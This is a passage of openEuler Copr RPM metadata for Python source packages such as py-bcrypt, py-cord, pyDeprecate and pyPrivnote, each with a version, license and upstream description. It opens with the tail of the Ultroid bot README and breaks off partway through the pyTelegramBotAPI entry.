  ```bash
  pip3 install -U py-Ultroid
  ```


  [![Documentation](https://img.shields.io/badge/Documentation-Ultroid-blue)](http://ultroid.tech/)


  - Create folders named `plugins`, `addons`, `assistant` and `resources`.
  - Add your plugins in the `plugins` folder and others accordingly.
  - Create a `.env` file with following mandatory Environment Variables
     ```
     API_ID
     API_HASH
     SESSION
     REDIS_URI
     REDIS_PASSWORD
     ```
  - Check
  [`.env.sample`](https://github.com/TeamUltroid/Ultroid/blob/main/.env.sample) for more details.
  - Run `python3 -m pyUltroid` to start the bot.


   - ### To work everywhere

  ```python
  @ultroid_cmd(
      pattern="start"
  )
  async def _(e):
      await e.eor("Ultroid Started!")
  ```

  - ### To work only in groups

  ```python
  @ultroid_cmd(
      pattern="start",
      groups_only=True,
  )
  async def _(e):
      await eor(e, "Ultroid Started.")
  ```

  - ### Assistant Plugins 👇

  ```python
  @asst_cmd("start")
  async def _(e):
      await e.reply("Ultroid Started.")
  ```

  See more working plugins on [the offical repository](https://github.com/TeamUltroid/Ultroid)!

  > Made with 💕 by [@TeamUltroid](https://t.me/TeamUltroid).



  [![License](https://www.gnu.org/graphics/agplv3-155x51.png)](LICENSE)
  Ultroid is licensed under [GNU Affero General Public License](https://www.gnu.org/licenses/agpl-3.0.en.html) v3 or later.


  * [![TeamUltroid-Devs](https://img.shields.io/static/v1?label=TeamUltroid&message=devs&color=critical)](https://t.me/UltroidDevs)
  * [Lonami](https://github.com/Lonami) for [Telethon](https://github.com/LonamiWebs/Telethon)


pkgId: a822caf591cff306061e13ac4aef904dcc22fb77ea9f802bab4c03669e0341ca
name: python-py-bcrypt
arch: src
version: 0.4
epoch: 0
release: 1
summary: bcrypt password hashing and key derivation
url: https://code.google.com/p/py-bcrypt
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0c0178b4-d921-4136-b741-10f06634723a
location_href: 00004619-python-py-bcrypt/python-py-bcrypt-0.4-1.src.rpm
checksum_type: sha256
description:
  py-bcrypt is an implementation the OpenBSD Blowfish password hashing
  algorithm, as described in "A Future-Adaptable Password Scheme" by
  Niels Provos and David Mazieres and related bcrypt-based key derivation
  function implemented in OpenBSD libutil.

  This system hashes passwords using a version of Bruce Schneier's
  Blowfish block cipher with modifications designed to raise the cost
  of off-line password cracking. The computation cost of the algorithm
  is parametised, so it can be increased as computers get faster.

  Two interfaces are supported: a classic password hashing interface and
  a key derivation function (KDF) intended for generating cryptographic
  keys.


pkgId: 1c414cd429a95d92eed44842cbf8c7e86debc8f89bc17cfef1bdcdd7595b1fbe
name: python-py-cord
arch: src
version: 2.4.1
epoch: 0
release: 1
summary: A Python wrapper for the Discord API
url: https://pycord.dev
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6c38cf24-1958-48df-b9eb-09f7b5ebb450
location_href: 00012265-python-py-cord/python-py-cord-2.4.1-1.src.rpm
checksum_type: sha256
description:
  A fork of discord.py. Pycord is a modern, easy to use, feature-rich, and async ready API wrapper for Discord written in Python.


pkgId: 4a2d3b068bd1aa00876a8b2c439afddd9ee4d5abb15331128714e99850297550
name: python-py-cpuinfo
arch: src
version: 9.0.0
epoch: 0
release: 1
summary: Get CPU info with pure Python
url: https://github.com/workhorsy/py-cpuinfo
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-e7462cd4-2272-4af8-82a9-b4d74c5deb4f
location_href: 00009658-python-py-cpuinfo/python-py-cpuinfo-9.0.0-1.src.rpm
checksum_type: sha256
description:
  Py-cpuinfo gets CPU info with pure Python. Py-cpuinfo should work
  without any extra programs or libraries, beyond what your OS provides.
  It does not require any compilation(C/C++, assembly, et cetera) to use.
  It works with Python 3.
  Documentation can be viewed here: https://github.com/workhorsy/py-cpuinfo


pkgId: 9dc682206bb6591972aff671ad2777d1af68645ba1b123beebd3260661a658bd
name: python-py-dateutil
arch: src
version: 2.2
epoch: 0
release: 1
summary: Extensions to the standard Python datetime module
url: https://bitbucket.org/cld/dateutil
rpm_license: Simplified BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-f3414d91-2505-4a1e-8292-bede7ea08a50
location_href: 00012599-python-py-dateutil/python-py-dateutil-2.2-1.src.rpm
checksum_type: sha256
description:
  The dateutil module provides powerful extensions to the
  datetime module available in the Python standard library.


pkgId: 2322778aa39127534311b225b7ba3cea147e58c4798064f20ab171072d93d191
name: python-py-gfm
arch: src
version: 2.0.0
epoch: 0
release: 1
url: https://github.com/zopieux/py-gfm
rpm_license: BSD License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-874d6bc0-5f8a-4f90-a584-a4372f6c7db9
location_href: 00004620-python-py-gfm/python-py-gfm-2.0.0-1.src.rpm
checksum_type: sha256
summary:
  An implementation of Github-Flavored Markdown written as an extension to the Python Markdown library.

description:
  **PLEASE READ BEFORE USING:**
  **This repository will not receive bug fixes, and might become read-only soon.**
  Rationale: this library has well-known `consistency issues`_ with GitHub-Flavored Markdown rendering. Fixing
  them would require time investment the maintainer cannot provide. The maintainer is also fatigued by
  Markdown's library constantly breaking their internal API with each minor release.
  **Consider instead using** |pycmarkgfm|_ (PyPi_), a lightweight Python 3.5+ wrapper for GitHub's
  own implementation of GFM from the same author,
  which is faster, virtually byte-compatible with GitHub rendering,
  and provides a nice API for managing task lists aka. TODO lists.
  |Build status| |Coverage status| |Documentation status|
  This is an implementation of `GitHub-Flavored Markdown`_ written as an
  extension to the Python `Markdown`_ library. It aims for, but does not
  achieve, maximal compatibility with GitHub's rendering.
  Tested Python versions are 3.5 to 3.8. Sorry, no Python 2.7 support starting
  with py-gfm 1.x since the Python Markdown library itself is Python 3 only.


pkgId: aa3737d124296cc6a6817013f767b24ff634a579589856b3f4cbc24b4de33c4a
name: python-py-gql
arch: src
version: 0.6.1
epoch: 0
release: 1
summary: Comprehensive GraphQL implementation for Python.
url: https://github.com/lirsacc/py-gql
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-5982f0f1-5858-40bc-a3d2-e52e053febec
location_href: 00004621-python-py-gql/python-py-gql-0.6.1-1.src.rpm
checksum_type: sha256
description:
  [![GitHub Workflow Status](https://img.shields.io/github/workflow/status/lirsacc/py-gql/ci?logo=GitHub)](https://github.com/lirsacc/py-gql/actions?query=workflow%3Aci) [![Codecov](https://img.shields.io/codecov/c/github/lirsacc/py-gql.svg?logo=CodeCov)](https://codecov.io/gh/lirsacc/py-gql) [![PyPI](https://img.shields.io/pypi/v/py-gql.svg?logo=PyPi&logoColor=white)](https://pypi.org/project/py-gql/) ![PyPI - Python Version](https://img.shields.io/pypi/pyversions/py-gql.svg?logo=python&logoColor=white) ![Wheel](https://img.shields.io/pypi/wheel/py-gql.svg) [![Read the Docs (version)](https://img.shields.io/readthedocs/pip/latest.svg?logoColor=white&logo=read-the-docs)](https://py-gql.readthedocs.io/)
  py-gql is a pure python [GraphQL](http://facebook.github.io/graphql/) implementation aimed at creating GraphQL servers and providing common tooling.
  It supports:
  - Parsing the GraphQL query language and schema definition language.
  - Building a GraphQL type schema programmatically and from Schema Definition files (including support for schema directives).
  - Validating and Executing a GraphQL request against a type schema.


pkgId: 8c885e7f483bf15a9c8d24d3e317366e9913b192001854c9ac6a51b870506506
name: python-py-moneyed
arch: src
version: 3.0
epoch: 0
release: 1
summary: Provides Currency and Money classes for use in your Python code.
url: http://github.com/py-moneyed/py-moneyed
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-fe21e78b-7a4d-4a28-911e-85d6ee1acf96
location_href: 00011019-python-py-moneyed/python-py-moneyed-3.0-1.src.rpm
checksum_type: sha256
description:
  The need to represent instances of money frequently arises in software
  development, particularly any financial/economics software. To address that
  need, the py-moneyed package provides the classes of Money and Currency, at a
  level more useful than just using Python's Decimal class, or ($DEITY forbid) the
  float primitive. The package is meant to be stand-alone and used directly, or
  be subclassed further. py-moneyed is BSD-licensed.


pkgId: a0fe3816ce2de53a7555d4fc7c960d53a35a139437048043634f7e8cd87fc798
name: python-py-radix
arch: src
version: 0.10.0
epoch: 0
release: 1
summary: Radix tree implementation
url: https://github.com/mjschultz/py-radix
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1f2bfa33-ea4e-4467-9e74-7d7d6510b577
location_href: 00004622-python-py-radix/python-py-radix-0.10.0-1.src.rpm
checksum_type: sha256
description:
  py-radix implements the radix tree data structure for the storage and
  retrieval of IPv4 and IPv6 network prefixes.
  The radix tree is commonly used for routing table lookups. It efficiently
  stores network prefixes of varying lengths and allows fast lookups of
  containing networks.


pkgId: 517e3f89141a41853bd989528342e62d20716c10515f99a8e1c32f3b4890d1f3
name: python-py2pack
arch: src
version: 0.8.7
epoch: 0
release: 1
summary: Generate distribution packages from PyPI
url: http://github.com/openSUSE/py2pack
rpm_license: Apache Software License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-53ec5fb2-f093-44ef-bc25-82b114141c44
location_href: 00004623-python-py2pack/python-py2pack-0.8.7-1.src.rpm
checksum_type: sha256
description:
  This script allows to generate RPM spec or DEB dsc files from Python modules.
  It allows to list Python modules or search for them on the Python Package Index
  (PyPI). Conveniently, it can fetch tarballs and changelogs making it an
  universal tool to package Python modules.


pkgId: 425a1195d312239edb4999a24ff7879d911a2e50e12efe91db002c2148d9323c
name: python-py3Dmol
arch: src
version: 2.0.1.post1
epoch: 0
release: 1
summary: An IPython interface for embedding 3Dmol.js views in Jupyter notebooks
url: https://3dmol.org
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-032b472c-d4d6-498f-b8ff-f8b5f851cd48
location_href: 00012689-python-py3dmol/python-py3Dmol-2.0.1.post1-1.src.rpm
checksum_type: sha256
description:
  A simple [IPython/Jupyter](http://jupyter.org/) widget to
  embed an interactive [3Dmol.js](http://3dmol.org) viewer in a notebook.
  The widget is completely static, which means the viewer doesn't need a running
  IPython kernel to be useful and web pages and presentations generated from
  the notebook will work as expected.  However, this also means there is only
  one-way communication between the notebook and the viewer.
  If you experience problems, please file
  an [issue](https://github.com/3dmol/3Dmol.js/issues).
  [An example notebook](http://nbviewer.jupyter.org/github/3dmol/3Dmol.js/blob/master/py3Dmol/examples.ipynb)


pkgId: 01be7204a51af6c6981a8039d1c77bf677bf2260cd0eb88068b02265377d88ca
name: python-py3nvml
arch: src
version: 0.2.7
epoch: 0
release: 1
summary: Python 3 Bindings for the NVIDIA Management Library
url: https://github.com/fbcotter/py3nvml.git
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a1e96348-d2a2-4805-b439-1dccf83a5773
location_href: 00004625-python-py3nvml/python-py3nvml-0.2.7-1.src.rpm
checksum_type: sha256
description:
  Documentation also available at `readthedocs`__.
  Python 3 compatible bindings to the NVIDIA Management Library. Can be used to
  query the state of the GPUs on your system. This was ported from the NVIDIA
  provided python bindings `nvidia-ml-py`__, which only
  supported python 2. I have forked from version 7.352.0. The old library was
  itself a wrapper around the `NVIDIA Management Library`__.
  __ https://py3nvml.readthedocs.io/en/latest/
  __ https://pypi.python.org/pypi/nvidia-ml-py/7.352.0
  __ http://developer.nvidia.com/nvidia-management-library-nvml
  In addition to these NVIDIA functions to query the state of the GPU, I have written
  a couple functions/tools to help in using gpus (particularly for a shared
  gpu server). These are:
  - A function to 'restrict' the available GPUs by setting the `CUDA_VISIBLE_DEVICES`
    environment variable.
  - A script for displaying a differently formatted nvidia-smi.
  See the Utils section below for more info.


pkgId: b90974c5861ed1058df3d2568dfc996e0d37e6a89c224f63b6dfb7a2e73e98a7
name: python-py4j
arch: src
version: 0.10.9.7
epoch: 0
release: 1
summary: Enables Python programs to dynamically access arbitrary Java objects
url: https://www.py4j.org/
rpm_license: BSD License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6da408fb-eeea-483a-adf4-bb2d5c6d2b47
location_href: 00004627-python-py4j/python-py4j-0.10.9.7-1.src.rpm
checksum_type: sha256
description:
  Py4J enables Python programs running in a Python interpreter to dynamically access Java objects in a Java Virtual Machine. Methods are called as if the Java objects resided in the Python interpreter and Java collections can be accessed through standard Python collection methods. Py4J also enables Java programs to call back Python objects.


pkgId: b1bc3d6bcf76f3d7ad3b952c7e4d9ddc34c216304caa79b21717c47d6f9d0f0b
name: python-py9p
arch: src
version: 1.0.8
epoch: 0
release: 1
summary: 9P Protocol Implementation
url: https://github.com/svinota/py9p
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-861c8323-d04d-447c-a7f8-63cdd130fcba
location_href: 00004628-python-py9p/python-py9p-1.0.8-1.src.rpm
checksum_type: sha256
description:
  The library allows you to use 9P protocol in your
  applications. Please note, that the library is not
  fully compatible with the original version by
  Andrey Mirtchovski.
  Also, this package provides two components:
   * fuse9p -- FUSE 9p client
   * 9pfs -- simple file server (alpha state)


pkgId: d4ba0d073bd6c75a0091b70e3444fb76801605415a6142035471a014133ffe41
name: python-pyArango
arch: src
version: 2.0.1
epoch: 0
release: 1
summary: An easy to use python driver for ArangoDB with built-in validation
url: https://github.com/tariqdaouda/pyArango
rpm_license: ApacheV2
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-bcdbbca3-3dd6-4a0f-a9c8-3359c7a860bc
location_href: 00011854-python-pyarango/python-pyArango-2.0.1-1.src.rpm
checksum_type: sha256
description:
  pyArango aims to be an easy to use driver for ArangoDB with built in validation. Collections are treated as types that apply to the documents within. You can be 100% permissive or enforce schemas and validate fields on set, on save or on both.
  pyArango supports graphs, indexes and probably everything that arangodb_ can do.
  pyArango is developed by `Tariq Daouda`_, the full source code is available from github_.
  For the latest news about pyArango, you can follow me on twitter `@tariqdaouda`_.
  If you have any issues with it, please file a github issue.


pkgId: ddf30e2a17828bee13b1b96139f8bc96d8456dbcd991105ef049fb2950eee42d
name: python-pyCEC
arch: src
version: 0.5.2
epoch: 0
release: 1
summary: Provide HDMI CEC devices as objects, especially for use with Home Assistant
url: https://github.com/konikvranik/pycec/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-4ef245f5-b866-43bc-83ca-5800b6b671c2
location_href: 00004645-python-pycec/python-pyCEC-0.5.2-1.src.rpm
checksum_type: sha256
description:
  Purpose of this project is to provide object API to libcec for
  home-assistant hdmi\_cec module as `primary
  goal <https://github.com/konikvranik/pyCEC/projects/1>`__ and to make
  TCP <=> HDMI bridge to control HDMI devices over TCP network as a
  `secondary goal <https://github.com/konikvranik/pyCEC/projects/2>`__.


pkgId: 7cc27f5b3f4776dabeb346c1318c36ea56b08a2b7500dda28a6b6e70eaa388bc
name: python-pyDeprecate
arch: src
version: 0.3.2
epoch: 0
release: 1
summary: Deprecation tooling
url: https://borda.github.io/pyDeprecate
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-5291b412-e98d-4cab-a950-82d59851d257
location_href: 00009832-python-pydeprecate/python-pyDeprecate-0.3.2-1.src.rpm
checksum_type: sha256
description:
  The common use-case is moving your functions across codebase or outsourcing some functionalities to new packages.
  For most of these cases, you want to hold some compatibility, so you cannot simply remove past function, and also for some time you want to warn users that functionality they have been using is moved and not it is deprecated in favor of another function (which shall be used instead) and soon it will be removed completely.
  Another good aspect is to do not overwhelm a user with too many warnings, so per function/class, this warning is raised only N times in the preferable stream (warning, logger, etc.).

  Simple installation from PyPI:
  ```bash
  pip install pyDeprecate
  ```
  <details>
    <summary>Other installations</summary>
    Simply install with pip from source:
    ```bash
    pip install https://github.com/Borda/pyDeprecate/archive/main.zip
    ```
  </details>

  The functionality is kept simple and all default shall be reasonable, but still you can do extra customization such as:
  * define user warning message and preferable stream
  * extended argument mapping to target function/method
  * define deprecation logic for self arguments
  * specify warning count per:
      - called function (for func deprecation)
      - used arguments (for argument deprecation)
  * define conditional skip (e.g. depending on some package version)
  In particular the target values (cases):
  - _None_ - raise only warning message (ignore all argument mapping)
  - _True_ - deprecation some argument of itself (argument mapping shall be specified)
  - _Callable_ - forward call to new methods (optional also argument mapping or extras)

  It is very straight forward, you forward your function call to new function and all arguments are mapped:
  ```python
  def base_sum(a: int = 0, b: int = 3) -> int:
      """My new function anywhere in codebase or even other package."""
      return a + b

  from deprecate import deprecated
  @deprecated(target=base_sum, deprecated_in="0.1", remove_in="0.5")
  def depr_sum(a: int, b: int = 5) -> int:
      """
      My deprecated function which now has empty body
       as all calls are routed to the new function.
      """
      pass  # or you can just place docstring as one above



  print(depr_sum(1, 2))
  ```
  <details>
    <summary>sample output:</summary>
    ```
    3
    ```
  </details>

  Another more complex example is using argument mapping is:
  <details>
    <summary>Advanced example</summary>
    ```python
    import logging
    from sklearn.metrics import accuracy_score
    from deprecate import deprecated, void
    @deprecated(
      
      target=accuracy_score,
      
      stream=logging.warning,
      
      num_warns=5,
      
      template_mgs="`s` was deprecated, use `s`",
      
      args_mapping={'preds': 'y_pred', 'target': 'y_true', 'blabla': None}
    )
    def depr_accuracy(preds: list, target: list, blabla: float) -> float:
        """My deprecated function which is mapping to sklearn accuracy."""
        
        return void(preds, target, blabla)
    
    
    print(depr_accuracy([1, 0, 1, 2], [0, 1, 1, 2], 1.23))
    ```
    sample output:
    ```
    0.5
    ```
  </details>

  Base use-case with no forwarding and just raising warning :
  ```python
  from deprecate import deprecated
  @deprecated(target=None, deprecated_in="0.1", remove_in="0.5")
  def my_sum(a: int, b: int = 5) -> int:
      """My deprecated function which still has to have implementation."""
      return a + b


  print(my_sum(1, 2))
  ```
  <details>
    <summary>sample output:</summary>
    ```
    3
    ```
  </details>

  We also support deprecation and argument mapping for the function itself:
  ```python
  from deprecate import deprecated
  @deprecated(
    
    target=True, args_mapping={'coef': 'new_coef'},
    
    deprecated_in="0.2", remove_in="0.4",
  )
  def any_pow(base: float, coef: float = 0, new_coef: float = 0) -> float:
      """My function with deprecated argument `coef` mapped to `new_coef`."""
      return base ** new_coef



  print(any_pow(2, 3))
  ```
  <details>
    <summary>sample output:</summary>
    ```
    8
    ```
  </details>

  Eventually you can set multiple deprecation levels via chaining deprecation arguments as each could be deprecated in another version:
  <details>
    <summary>Multiple deprecation levels</summary>
    ```python
    from deprecate import deprecated
    @deprecated(
      True, "0.3", "0.6", args_mapping=dict(c1='nc1'),
      template_mgs="Depr: vs rm vs for args: s."
    )
    @deprecated(
      True, "0.4", "0.7", args_mapping=dict(nc1='nc2'),
      template_mgs="Depr: vs rm vs for args: s."
    )
    def any_pow(base, c1: float = 0, nc1: float = 0, nc2: float = 2) -> float:
        return base**nc2
    
    
    
    print(any_pow(2, 3))
    ```
    sample output:
    ```
    8
    ```
  </details>

  Conditional skip of which can be used for mapping between different target functions depending on additional input such as package version
  ```python
  from deprecate import deprecated
  FAKE_VERSION = 1
  def version_greater_1():
      return FAKE_VERSION > 1
  @deprecated(
    True, "0.3", "0.6", args_mapping=dict(c1='nc1'), skip_if=version_greater_1
  )
  def skip_pow(base, c1: float = 1, nc1: float = 1) -> float:
      return base**(c1 - nc1)

  print(skip_pow(2, 3))

  FAKE_VERSION = 2

  print(skip_pow(2, 3))
  ```
  <details>
    <summary>sample output:</summary>
    ```
    0.25
    4
    ```
  </details>
  This can be beneficial with multiple deprecation levels shown above...

  This case can be quite complex as you may deprecate just some methods, here we show full class deprecation:
  ```python
  class NewCls:
      """My new class anywhere in the codebase or other package."""
      def __init__(self, c: float, d: str = "abc"):
          self.my_c = c
          self.my_d = d

  from deprecate import deprecated, void
  class PastCls(NewCls):
      """
      The deprecated class shall be inherited from the successor class
       to hold all methods.
      """
      @deprecated(target=NewCls, deprecated_in="0.2", remove_in="0.4")
      def __init__(self, c: int, d: str = "efg"):
          """
          You place the decorator around __init__ as you want
           to warn user just at the time of creating object.
          """
          return void(c, d)



  inst = PastCls(7)
  print(inst.my_c)  # returns: 7
  print(inst.my_d)  # returns: "efg"
  ```
  <details>
    <summary>sample output:</summary>
    ```
    7
    efg
    ```
  </details>

  Have you faced this in past or even now, do you have good ideas for improvement, all is welcome!


pkgId: 5062fa1634a82808d2c75155d4bc5ce8fb7e3b7c43b0a179bdaa19475a63b537
name: python-pyDes
arch: src
version: 2.0.1
epoch: 0
release: 1
summary: Pure python implementation of DES and TRIPLE DES encryption algorithm
url: http://twhiteman.netfirms.com/des.html
rpm_license: Public Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-e084f1d3-7230-47ea-9f62-7b787d974f93
location_href: 00011965-python-pydes/python-pyDes-2.0.1-1.src.rpm
checksum_type: sha256
description:
  This algorithm is a pure python implementation of the DES and
  Triple DES algorithms. Triple DES is either DES-EDE3 with a
  24 byte key, or DES-EDE2 with a 16 byte key.


pkgId: 956160b458f720155665526487a6af1e3c9b94d8e3d1470924c4c47545f58508
name: python-pyLDAvis
arch: src
version: 3.4.0
epoch: 0
release: 1
summary: Interactive topic model visualization. Port of the R package.
url: https://github.com/bmabey/pyLDAvis
rpm_license: BSD-3-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6def07b5-139d-41ca-b815-e57d0f9fc751
location_href: 00009925-python-pyldavis/python-pyLDAvis-3.4.0-1.src.rpm
checksum_type: sha256
description:
  Python library for interactive topic model visualization.
  This is a port of the fabulous `R package <https://github.com/cpsievert/LDAvis>`_ by `Carson Sievert <https://cpsievert.me/>`__ and `Kenny Shirley <http://www.kennyshirley.com/>`__.
  **pyLDAvis** is designed to help users interpret the topics in a topic model that has been fit to a corpus of text data. The package extracts information from a fitted LDA topic model to inform an interactive web-based visualization.
  The visualization is intended to be used within an IPython notebook but can also be saved to a stand-alone HTML file for easy sharing.
  Note: LDA stands for `latent Dirichlet allocation <https://en.wikipedia.org/wiki/Latent_Dirichlet_allocation>`_.
  |version status| |build status| |docs|
  Installation
  ~~~~~~~~~~~~~~~~~~~~~~
  -  Stable version using pip:
      pip install pyldavis
  -  Development version on GitHub
  Clone the repository and run ``python setup.py``
  Usage
  ~~~~~~~~~~~~~~~~~~~~~~
  The best way to learn how to use **pyLDAvis** is to see it in action.
  Check out this `notebook for an overview <http://nbviewer.ipython.org/github/bmabey/pyLDAvis/blob/master/notebooks/pyLDAvis_overview.ipynb>`__.
  Refer to the `documentation <https://pyLDAvis.readthedocs.org>`__ for details.
  For a concise explanation of the visualization see this
  `vignette <http://cran.r-project.org/web/packages/LDAvis/vignettes/details.pdf>`__ from the LDAvis R package.
  Video demos
  ~~~~~~~~~~~
  Ben Mabey walked through the visualization in this short talk using a Hacker News corpus:
  -  `Visualizing Topic Models <https://www.youtube.com/watch?v=tGxW2BzC_DU&index=4&list=PLykRMO7ZuHwP5cWnbEmP_mUIVgzd5DZgH>`__
  -  `Notebook and visualization used in the demo <http://nbviewer.ipython.org/github/bmabey/hacker_news_topic_modelling/blob/master/HN%20Topic%20Model%20Talk.ipynb>`__
  -  `Slide deck <https://speakerdeck.com/bmabey/visualizing-topic-models>`__
  `Carson Sievert <https://cpsievert.me/>`__ created a video demoing the R package. The visualization is the same and so it applies equally to pyLDAvis:
  -  `Visualizing & Exploring the Twenty Newsgroup Data <http://stat-graphics.org/movies/ldavis.html>`__
  More documentation
  ~~~~~~~~~~~~~~~~~~
  To read about the methodology behind pyLDAvis, see `the original
  paper <http://nlp.stanford.edu/events/illvi2014/papers/sievert-illvi2014.pdf>`__,
  which was presented at the `2014 ACL Workshop on Interactive Language
  Learning, Visualization, and
  Interfaces <http://nlp.stanford.edu/events/illvi2014/>`__ in Baltimore
  on June 27, 2014.


pkgId: 247ec00e47df9c678be9860aa11671a1d1f955c2cdfd47be0b323489bc6333a5
name: python-pyLibravatar
arch: src
version: 1.7
epoch: 0
release: 1
summary: Python module for Libravatar
url: https://launchpad.net/pylibravatar
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1bdfcbf5-9fdd-48e5-8bfc-e13908c63459
location_href: 00004725-python-pylibravatar/python-pyLibravatar-1.7-1.src.rpm
checksum_type: sha256
description:
  PyLibravatar is an easy way to make use of the federated `Libravatar`_
  avatar hosting service from within your Python applications.

  See the `project page`_ to file bugs or ask questions.

  .. _Libravatar: https://www.libravatar.org/
  .. _project page: https://launchpad.net/pylibravatar


pkgId: 376b161f573c2c28d838fe7cec151d3d637521c138cfd8ddb93204987da79cb0
name: python-pyModbusTCP
arch: src
version: 0.2.0
epoch: 0
release: 1
summary: A simple Modbus/TCP library for Python
url: https://github.com/sourceperl/pyModbusTCP
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ce821d37-0929-4eac-b266-dfe0a54acc5c
location_href: 00004629-python-pyModbusTCP/python-pyModbusTCP-0.2.0-1.src.rpm
checksum_type: sha256
description:
  A simple Modbus/TCP client library for Python.
  pyModbusTCP is pure Python code without any extension or external module dependency.
  Since version 0.1.0, a server is also available for test purpose only (don't use in project).


pkgId: 3b8b614c233c31f9d1e41c1f3eb8db83a8345e2c24de8f16944bd50b57569c33
name: python-pyPrivnote
arch: src
version: 0.0.1a1
epoch: 0
release: 1
summary: A Python Interface to Privnote service
url: https://github.com/intelligentguy/pyPrivnote
rpm_license: GPLv3+
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-dec74e36-2ea1-4c23-b4be-0997a1661c6b
location_href: 00011453-python-pyprivnote/python-pyPrivnote-0.0.1a1-1.src.rpm
checksum_type: sha256
description:
  A Python Interface to Privnote service




  Privnote allows you to create one-time-pad encrypted, burn-after-reading notes over the internet. It's a great way to share passwords or other sensitive peices of information.



  ```shell
  pip install pyPrivnote
  ```



  Functions **create_note** and **read_note** thats all you need to use full functionality of Privnote



  ```python
  import pyPrivnote as pn

  note_link = pn.create_note("Private message")

  ```



  ```python
  note_text = pn.read_note(note_link)

  ```



  ```python
  import pyPrivnote as pn

  note_link = pn.create_note("Super secret message", manual_pass="12345")


  note_text = pn.read_note(note_link, password="12345")

  ```


  **Manual password** <br>
  **E-mail notification** with _reference name_ <br>
  Note **self-destructs** after reading or _expire lifetime_ <br>
  **Asking confirmation** before reading _(only for web reading)_

  ```python
  import pyPrivnote as pn

  note_link = pn.create_note(
                  "Super secret message",
                  manual_pass="12345",
                  duration_hours=5,
                  ask_confirm=False,
                  notify_email="address@domain.com",
                  email_ref_name="Note sent to Bob"
                  )
  ```



  v0.0.1 - First release


pkgId: b80109c46ff55a22cb923e1b5e739e574cee7c06d6cfbc07d72a0e6c35fc333c
name: python-pyRFC3339
arch: src
version: 1.1
epoch: 0
release: 1
summary: Generate and parse RFC 3339 timestamps
url: https://github.com/kurtraschke/pyRFC3339
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-05dd141b-2515-46bb-b01e-c2d9208ac314
location_href: 00004784-python-pyrfc3339/python-pyRFC3339-1.1-1.src.rpm
checksum_type: sha256
description:
  pyRFC3339 parses and generates :RFC:`3339`-compliant timestamps using `Python <https://www.python.org/>`_ `datetime.datetime <https://docs.python.org/2/library/datetime.html#datetime-objects>`_ objects.
  >>> from pyrfc3339 import generate, parse
  >>> from datetime import datetime
  >>> import pytz
  >>> generate(datetime.utcnow().replace(tzinfo=pytz.utc)) #doctest:+ELLIPSIS
  '...T...Z'
  >>> parse('2009-01-01T10:01:02Z')
  datetime.datetime(2009, 1, 1, 10, 1, 2, tzinfo=<UTC>)
  >>> parse('2009-01-01T14:01:02-04:00')
  datetime.datetime(2009, 1, 1, 14, 1, 2, tzinfo=<UTC-04:00>)


pkgId: 937922564de91eb405eeab52a2b7d9fec99c33efbb9a3427af185112d2d19a9a
name: python-pySmartDL
arch: src
version: 1.3.4
epoch: 0
release: 1
summary: A Smart Download Manager for Python
url: http://pypi.python.org/pypi/pySmartDL/
rpm_license: Public Domain
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6d8ae6f7-0340-493c-a616-a365a40c8a4b
location_href: 00011680-python-pysmartdl/python-pySmartDL-1.3.4-1.src.rpm
checksum_type: sha256
description:
  ``pySmartDL`` strives to be a full-fledged smart download manager for Python. Main features:
  * Built-in download acceleration (with the `multipart downloading technique <http://stackoverflow.com/questions/93642/how-do-download-accelerators-work>`_).
  * Mirrors support.
  * Pause/Unpause feature.
  * Speed limiting feature.
  * Hash checking.
  * Non-blocking, shows progress bar, download speed and eta.
  * Full support for custom headers and methods.
  * Python 3 Support


pkgId: 4482f614e34f6439ba2fae13beab0cdeefa1f8df90d8d3c2249c32dec28a3519
name: python-pyTelegramBotAPI
arch: src
version: 4.10.0
epoch: 0
release: 1
summary: Python Telegram bot api.
url: https://github.com/eternnoir/pyTelegramBotAPI
rpm_license: GPL2
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-b144dc72-f30f-4bb6-a848-d4871318d205
